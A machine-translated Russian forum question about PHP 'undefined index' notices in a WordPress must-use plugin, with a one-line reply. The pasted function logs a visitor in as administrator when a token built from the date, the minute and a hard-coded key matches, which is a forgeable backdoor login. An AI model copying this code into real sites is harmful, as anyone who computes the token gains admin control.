Обратите внимание, что PHP-водитель маркер
У меня есть ошибка на wordpress, связанная с кодом, и мне интересно, можете ли вы, ребята, помочь с ней.
PHP Notice: Undefined index: token in /home/qbt6f0ng7wez/public_html/londonmotorcycleshop/wp-content/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php на линии 6
/home/qbt6f0ng7wez/public_html/londonmotorcycleshop/wp-content/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php на линии 18
На php файле:
function remote_sign_in () { if(!$_GET['token'] && is_user_logged_in()) //-> LINE 6 <- return; $key = md5('thisisrandomtextsdsdsdsdsdsdsdsdsd'); $minutes_1 = intval(gmdate('i')) + 1; $minutes_2 = intval(gmdate('i')); $signature[] = md5(gmdate("Ymd") . $key . $minutes_1) ; $signature[] = md5(gmdate("Ymd") . $key . $minutes_2) ; if(!in_array($_GET['token'] , $signature) ) //-> LINE 18 <- return; $users = get_users(); foreach($users as $user ) { $user_id = $user->ID; $data = get_userdata( $user_id ); $roles = $user->roles; if (in_array('administrator', $roles)) { log_me_in($user); exit; } } }
Что я уже пробовал:
Ничего особенного, я не уверен в самой ошибке и в том, что ее вызывает.
Richard MacCutchan
Переменная "токен" нигде не определена.